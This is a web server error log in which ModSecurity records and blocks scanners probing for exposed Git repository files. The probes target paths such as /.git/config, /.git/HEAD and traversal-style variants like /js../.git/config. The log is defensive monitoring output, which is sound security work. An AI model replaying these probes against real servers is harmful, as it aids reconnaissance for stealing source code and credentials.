[Sat May 25 00:07:46.556386 2024] [:error] [pid 3454965] [client 91.215.85.43:50310] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-includes/js/.git/config"] [unique_id "ZlEPsgIdeuT73YfexOaHwgAAAAE"]
[Mon May 27 07:49:49.304177 2024] [:error] [pid 3503584] [client 36.70.233.100:54952] [client 36.70.233.100] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "ZlQe_UNFpmJhsY_f2Wu98wAAAAw"]
[Mon May 27 07:49:49.304911 2024] [:error] [pid 3503584] [client 36.70.233.100:54952] [client 36.70.233.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "ZlQe_UNFpmJhsY_f2Wu98wAAAAw"]
[Mon May 27 07:49:49.305381 2024] [:error] [pid 3503584] [client 36.70.233.100:54952] [client 36.70.233.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "ZlQe_UNFpmJhsY_f2Wu98wAAAAw"]
[Mon May 27 07:49:51.725363 2024] [:error] [pid 3503318] [client 36.70.233.100:49364] [client 36.70.233.100] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ZlQe_yVVUc8jtkqDo5pppgAAAAM"]
[Mon May 27 07:49:51.725895 2024] [:error] [pid 3503318] [client 36.70.233.100:49364] [client 36.70.233.100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ZlQe_yVVUc8jtkqDo5pppgAAAAM"]
[Mon May 27 07:49:51.726418 2024] [:error] [pid 3503318] [client 36.70.233.100:49364] [client 36.70.233.100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "ZlQe_yVVUc8jtkqDo5pppgAAAAM"]
[Tue Jun 18 18:56:41.116672 2024] [:error] [pid 4020488] [client 179.43.188.122:45812] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZnG8SfB4uPGZ92xwa_HgWgAAAAM"]
[Tue Jun 18 18:56:41.119485 2024] [:error] [pid 4020488] [client 179.43.188.122:45812] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZnG8SfB4uPGZ92xwa_HgWgAAAAM"]
[Tue Jun 18 18:56:41.120020 2024] [:error] [pid 4020488] [client 179.43.188.122:45812] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZnG8SfB4uPGZ92xwa_HgWgAAAAM"]
[Wed Jun 19 07:03:29.841013 2024] [:error] [pid 4042791] [client 179.43.188.122:54838] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "ZnJmoUiK-34XWtwe5ivGegAAAAU"]
[Wed Jun 19 07:03:29.841840 2024] [:error] [pid 4042791] [client 179.43.188.122:54838] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "ZnJmoUiK-34XWtwe5ivGegAAAAU"]
[Wed Jun 19 07:03:29.842415 2024] [:error] [pid 4042791] [client 179.43.188.122:54838] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/static../.git/config"] [unique_id "ZnJmoUiK-34XWtwe5ivGegAAAAU"]
[Wed Jun 19 07:03:29.855856 2024] [:error] [pid 4044179] [client 179.43.188.122:54840] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "ZnJmodi-FO9x79893JLg7wAAAAk"]
[Wed Jun 19 07:03:29.856420 2024] [:error] [pid 4044179] [client 179.43.188.122:54840] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "ZnJmodi-FO9x79893JLg7wAAAAk"]
[Wed Jun 19 07:03:29.856975 2024] [:error] [pid 4044179] [client 179.43.188.122:54840] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js../.git/config"] [unique_id "ZnJmodi-FO9x79893JLg7wAAAAk"]
[Wed Jun 19 07:03:29.871885 2024] [:error] [pid 4044178] [client 179.43.188.122:54856] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/images../.git/config"] [unique_id "ZnJmodO5HK56smn2g45H_QAAAAg"]
[Wed Jun 19 07:03:29.872584 2024] [:error] [pid 4044178] [client 179.43.188.122:54856] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/images../.git/config"] [unique_id "ZnJmodO5HK56smn2g45H_QAAAAg"]
[Wed Jun 19 07:03:29.874683 2024] [:error] [pid 4044178] [client 179.43.188.122:54856] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/images../.git/config"] [unique_id "ZnJmodO5HK56smn2g45H_QAAAAg"]
[Wed Jun 19 07:03:29.885521 2024] [:error] [pid 4042790] [client 179.43.188.122:54860] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/img../.git/config"] [unique_id "ZnJmoSQN0QwQNdNo1x5XIwAAAAQ"]
[Wed Jun 19 07:03:29.885997 2024] [:error] [pid 4042790] [client 179.43.188.122:54860] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/img../.git/config"] [unique_id "ZnJmoSQN0QwQNdNo1x5XIwAAAAQ"]
[Wed Jun 19 07:03:29.886378 2024] [:error] [pid 4042790] [client 179.43.188.122:54860] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/img../.git/config"] [unique_id "ZnJmoSQN0QwQNdNo1x5XIwAAAAQ"]
[Wed Jun 19 07:03:29.901685 2024] [:error] [pid 4042786] [client 179.43.188.122:54862] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/css../.git/config"] [unique_id "ZnJmoQ9NeXMf3MoDHicPngAAAAA"]
[Wed Jun 19 07:03:29.902077 2024] [:error] [pid 4042786] [client 179.43.188.122:54862] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/css../.git/config"] [unique_id "ZnJmoQ9NeXMf3MoDHicPngAAAAA"]
[Wed Jun 19 07:03:29.902325 2024] [:error] [pid 4042786] [client 179.43.188.122:54862] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/css../.git/config"] [unique_id "ZnJmoQ9NeXMf3MoDHicPngAAAAA"]
[Wed Jun 19 07:03:29.915216 2024] [:error] [pid 4042788] [client 179.43.188.122:54868] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets../.git/config"] [unique_id "ZnJmoVDO7Bvt0kkR00XJ0gAAAAI"]
[Wed Jun 19 07:03:29.915750 2024] [:error] [pid 4042788] [client 179.43.188.122:54868] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets../.git/config"] [unique_id "ZnJmoVDO7Bvt0kkR00XJ0gAAAAI"]
[Wed Jun 19 07:03:29.916144 2024] [:error] [pid 4042788] [client 179.43.188.122:54868] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets../.git/config"] [unique_id "ZnJmoVDO7Bvt0kkR00XJ0gAAAAI"]
[Wed Jun 19 07:03:29.929434 2024] [:error] [pid 4042787] [client 179.43.188.122:54882] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content../.git/config"] [unique_id "ZnJmoQ6qS8SCa7GBL0GUMQAAAAE"]
[Wed Jun 19 07:03:29.929806 2024] [:error] [pid 4042787] [client 179.43.188.122:54882] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content../.git/config"] [unique_id "ZnJmoQ6qS8SCa7GBL0GUMQAAAAE"]
[Wed Jun 19 07:03:29.930122 2024] [:error] [pid 4042787] [client 179.43.188.122:54882] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content../.git/config"] [unique_id "ZnJmoQ6qS8SCa7GBL0GUMQAAAAE"]
[Wed Jun 19 07:03:29.943403 2024] [:error] [pid 4044177] [client 179.43.188.122:54888] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/events../.git/config"] [unique_id "ZnJmoafw4ftYmJo0ElzPCgAAAAc"]
[Wed Jun 19 07:03:29.943725 2024] [:error] [pid 4044177] [client 179.43.188.122:54888] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/events../.git/config"] [unique_id "ZnJmoafw4ftYmJo0ElzPCgAAAAc"]
[Wed Jun 19 07:03:29.943930 2024] [:error] [pid 4044177] [client 179.43.188.122:54888] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/events../.git/config"] [unique_id "ZnJmoafw4ftYmJo0ElzPCgAAAAc"]
[Wed Jun 19 07:03:29.961833 2024] [:error] [pid 4042789] [client 179.43.188.122:54892] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "ZnJmocgNrpv4M5RM0My2eQAAAAM"]
[Wed Jun 19 07:03:29.962306 2024] [:error] [pid 4042789] [client 179.43.188.122:54892] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "ZnJmocgNrpv4M5RM0My2eQAAAAM"]
[Wed Jun 19 07:03:29.962645 2024] [:error] [pid 4042789] [client 179.43.188.122:54892] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "ZnJmocgNrpv4M5RM0My2eQAAAAM"]
[Wed Jun 19 07:03:29.973343 2024] [:error] [pid 4043821] [client 179.43.188.122:54900] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lib../.git/config"] [unique_id "ZnJmoRwdALN-R-47tmNo4QAAAAY"]
[Wed Jun 19 07:03:29.973858 2024] [:error] [pid 4043821] [client 179.43.188.122:54900] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lib../.git/config"] [unique_id "ZnJmoRwdALN-R-47tmNo4QAAAAY"]
[Wed Jun 19 07:03:29.974304 2024] [:error] [pid 4043821] [client 179.43.188.122:54900] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lib../.git/config"] [unique_id "ZnJmoRwdALN-R-47tmNo4QAAAAY"]
[Fri Jul 12 04:31:47.516566 2024] [rewrite:error] [pid 377068] [client 129.226.158.156:33654] AH10411: Rewritten query string contains control characters or spaces
[Wed Jul 17 21:49:31.250912 2024] [authz_core:error] [pid 520010] [client 159.89.17.243:43026] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
